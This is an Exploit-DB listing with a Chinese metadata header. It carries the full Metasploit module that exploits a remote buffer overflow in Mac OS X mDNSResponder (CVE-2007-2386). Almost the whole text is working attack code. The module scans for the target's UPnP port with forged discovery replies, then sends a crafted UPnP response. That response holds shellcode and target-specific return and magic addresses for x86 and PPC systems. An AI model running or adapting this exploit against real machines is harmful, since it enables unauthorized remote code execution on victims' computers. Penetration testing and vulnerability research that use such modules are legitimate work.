标题: Apple Mac OSX - mDNSResponder UPnP Location Overflow (Metasploit) EDB-ID: 16871 CVE: 2007-2386 类型: REMOTE 平台: OSX 发布日期: 2011-01-08 漏洞利用脚本: ##
# $Id: upnp_location.rb 11515 2011-01-08 01:12:15Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow that occurs when processing
    specially crafted requests set to mDNSResponder. All Mac OS X systems
    between version 10.4 and 10.4.9 (without the 2007-005 patch) are
    affected.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'ddz'
    ],
   'Version'        => '$Revision: 11515 $',
   'References'     =>
    [
     [ 'OSVDB', '35142' ],
     [ 'CVE', '2007-2386' ],
     [ 'BID', '24144' ],
     [ 'URL', 'http://support.apple.com/kb/TA24732' ]
    ],
   'DefaultOptions' =>
    {
     'SRVPORT' => 1900,
     'RPORT' => 0
    },
   'Payload' =>
    {
     'BadChars' => "\x00\x3a\x2f",
     'StackAdjustment' => 0,
     'Space' => 468
    },
   'Platform' => 'osx',
   'Targets' =>
    [
     [ '10.4.8 x86',
      { # mDNSResponder-108.2
       'Arch'                   => ARCH_X86,
       # Offset to mDNSStorage structure
       'Offset'                 => 21000,
       'Magic'                  => 0x8fe510a0,
       'g_szRouterHostPortDesc' => 0x53dc0,
      }
     ],
     [ '10.4.0 PPC',
      { # mDNSResponder-107
       'Arch'    => ARCH_PPC,
       'Offset'  => 21000,
       'Magic'   => 0x8fe51f4c,
       'Ret'     => 0x8fe41af8,
      }
     ]
    ],
   'DisclosureDate' => 'May 25 2007',
   'DefaultTarget' => 1))

  register_options(
   [
    Opt::LHOST(),
    OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])
   ], self.class)

  @mutex = Mutex.new()
  @found_upnp_port = false
  @key_to_port = Hash.new()
  @upnp_port = 0
  @client_socket = nil
 end

 def check
  #
  # TODO: Listen on two service ports, one a single character
  # shorter than the other (i.e 1900 and 19000).  If the copy was
  # truncated by strlcpy, it will connect to the service listening
  # on the shorter port number.
  #
  upnp_port = scan_for_upnp_port()
  if (upnp_port > 0)
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Unsupported
  end
 end

 def upnp_server(server)
  client = server.accept()
  request = client.readline()
  if (request =~ /GET \/([\da-f]+).xml/)
   @mutex.synchronize {
    @found_upnp_port = true
    @upnp_port = @key_to_port[$1]

    # Important: Keep the client connection open
    @client_socket = client
   }
  end
 end

 def scan_for_upnp_port
  @upnp_port = 0
  @found_upnp_port = false

  upnp_port = 0

  # XXX: Do this in a more Metasploit-y way
  server = TCPServer.open(1900)
  server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }

  begin
   socket = Rex::Socket.create_udp

   upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT']

   puts "[*] Listening for UPNP requests on: #{upnp_location}"
   puts "[*] Sending UPNP Discovery replies..."

   i = 49152;
   while i < 65536 && @mutex.synchronize {
    @found_upnp_port == false
   }
   key = sprintf("%.2x%.2x%.2x%.2x%.2x",
    rand(255), rand(255), rand(255), rand(255), rand(255))

   @mutex.synchronize {
    @key_to_port[key] = i
   }

   upnp_reply = "HTTP/1.1 200 Ok\r\n" +
    "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
    "USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
    "Location: #{upnp_location}/#{key}.xml\r\n\r\n"

   socket.sendto(upnp_reply, datastore['RHOST'], i)

   i += 1
  end

  @mutex.synchronize {
   if (@found_upnp_port)
    upnp_port = @upnp_port
   end
  }
  ensure
   server.close
   server_thread.join
  end

  return upnp_port
 end

 def exploit
  #
  # It is very important that we scan for the upnp port.  We must
  # receive the TCP connection and hold it open, otherwise the
  # code path that uses the overwritten function pointer most
  # likely won't be used.  Holding this connection increases the
  # chance that the code path will be used dramatically.
  #
  upnp_port = scan_for_upnp_port()

  if upnp_port == 0
   raise "Could not find listening UPNP UDP socket"
  end

  datastore['RPORT'] = upnp_port

  socket = connect_udp()

  if (target['Arch'] == ARCH_X86)
   space = "A" * target['Offset']
   space[0, payload.encoded.length] = payload.encoded

   pattern = Rex::Text.pattern_create(47)
   pattern[20, 4] = [target['Magic']].pack('V')
   pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]

   boom = space + pattern
   usn = ""

  elsif (target['Arch'] == ARCH_PPC)
   space = "A" * target['Offset']

   pattern = Rex::Text.pattern_create(48)
   pattern[20, 4] = [target['Magic']].pack('N')

   #
   # r26, r27, r30, r31 point to g_szUSN+556
   # Ret should be a branch to one of these registers
   # And we make sure to put our payload in the USN header
   #
   pattern[44, 4] = [target['Ret']].pack('N')

   boom = space + pattern

   #
   # Start payload at offset 556 within USN
   #
   usn = "A" * 556 + payload.encoded
  end

  upnp_reply = "HTTP/1.1 200 Ok\r\n" +
   "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
   "USN: #{usn}\r\n" +
   "Location: http://#{boom}\r\n\r\n"

  puts "[*] Sending evil UPNP response"
  socket.put(upnp_reply)

  puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run"
  select(nil,nil,nil,10)

  handler()
  disconnect_udp()
 end
end URL: https://www.exploit-db.com/exploits/16871